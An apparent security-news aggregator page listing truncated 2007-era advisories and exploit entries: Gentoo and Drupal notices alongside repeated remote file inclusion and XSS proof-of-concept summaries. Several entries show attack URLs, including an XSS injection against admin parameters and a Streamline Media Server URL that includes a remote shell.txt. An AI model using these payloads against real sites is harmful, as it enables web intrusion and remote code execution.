libsndfile: Buffer overflow

Background libsndfile is a library for reading and writing various formats of audio files including WAV and FLAC. Description Robert Buchholz of the Gentoo Security team discovered that the flacbuffercopy function does not correctly handle FLAC streams with variable block sizes which leads to a...

stuffed-xss.txt

Aria-Security Team ---------------------- Vendor: http://stuffedguys.com/ POC: http://target/path/admin/campaignlink.html?GenCode=1&CampId=1&SplitId=&GLink=XSS http://target/PATH/actions.html?CpId=1&SiteId=1&Mode=new&EditId=XSS Credits Goes To Aria-Security Team Regards, The-0utl4w...

SA-2007-022 - Boost - file overwrite

The Boost module provides a static file-based cache of Drupal pages for anonymous users. A vulnerability allows an attacker to create or overwrite any filename in any directory that the web server can write to. The affected file will always contain the fully rendered HTML for a single Drupal page...

SA-2007-021: Project issue tracking - XSS vulnerabilities in subscription forms.

The Project issue tracking module provides a subscription functionality enabling users to sign up for e-mail notification of issue updates. The subscriptions can be edited on both an individual or overview form. Users who have permissions to create or edit projects may be able to inject arbitrary...

wordsmith-rfi.txt

--==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ WordSmith 1.0 RC1 config.inc.php Remote File Inclusion +==-- --==+================================================================================+==-- Software: WordSmith 1.0 RC1 SF page:...

dfdcart-rfi.txt

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

Wordsmith 1.1b (config.inc.php _path) Remote File Inclusion Vuln

No description provided by source. --==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ WordSmith 1.0 RC1 config.inc.php Remote File Inclusion +==-- --==+================================================================================+==-- Software:...

GLSA-200709-13 : rsync: Two buffer overflows

The remote host is affected by the vulnerability described in GLSA-200709-13 rsync: Two buffer overflows Sebastian Krahmer from the SUSE Security Team discovered two off-by-one errors in the function 'fname' in file sender.c when processing overly long directory names. Impact : A remote attacker...

DFD Cart 1.1 - Multiple Remote File Inclusions

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities

No description provided by source. DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications =========================================================== DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities =========================================================== DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities...

DFD Cart 1.1 - Multiple Remote File Inclusions

DFD Cart 1.1 - Multiple Remote File Inclusions DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...

Wordsmith 1.1b - config.inc.php?_path Remote File Inclusion

Wordsmith 1.1b - config.inc.php?path Remote File Inclusion --==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ WordSmith 1.0 RC1 config.inc.php Remote File Inclusion +==--...

Wordsmith 1.1b (config.inc.php _path) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications ================================================================ Wordsmith 1.1b config.inc.php path Remote File Inclusion Vuln ================================================================ --==+=================== Electronic Security Te...

Wordsmith 1.1b - 'config.inc.php?_path' Remote File Inclusion

--==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ WordSmith 1.0 RC1 config.inc.php Remote File Inclusion +==-- --==+================================================================================+==-- Software: WordSmith 1.0 RC1 SF page:...

Joomla Component com_slideshow Remote File Inclusion Vulnerability

No description provided by source. --==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ Joomla Component Flash Slide Show admin.slideshow1.php - RFI +==-- --==+================================================================================+==-- Script...

Joomla! Component com_slideshow - Remote File Inclusion

Joomla! Component comslideshow - Remote File Inclusion --==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ Joomla Component Flash Slide Show admin.slideshow1.php - RFI +==--...

Joomla Component com_slideshow Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================== Joomla Component comslideshow Remote File Inclusion Vulnerability ================================================================== --==+=================== Electronic...

Joomla! Component com_slideshow - Remote File Inclusion

--==+=================== Electronic Security Team www.Yee7.com ====================+==-- --==+ Joomla Component Flash Slide Show admin.slideshow1.php - RFI +==-- --==+================================================================================+==-- Script Name: Joomla Component Flash Slide Sh...

Streamline PHP Media Server 1.0-beta4 - Remote File Inclusion

Vulnerability Type: Remote File Inclusion Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/accountfooter.php Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/accountfooter.php?slthemeunixpath=http://localhost/shell.txt? Method: get Registerglobals: On...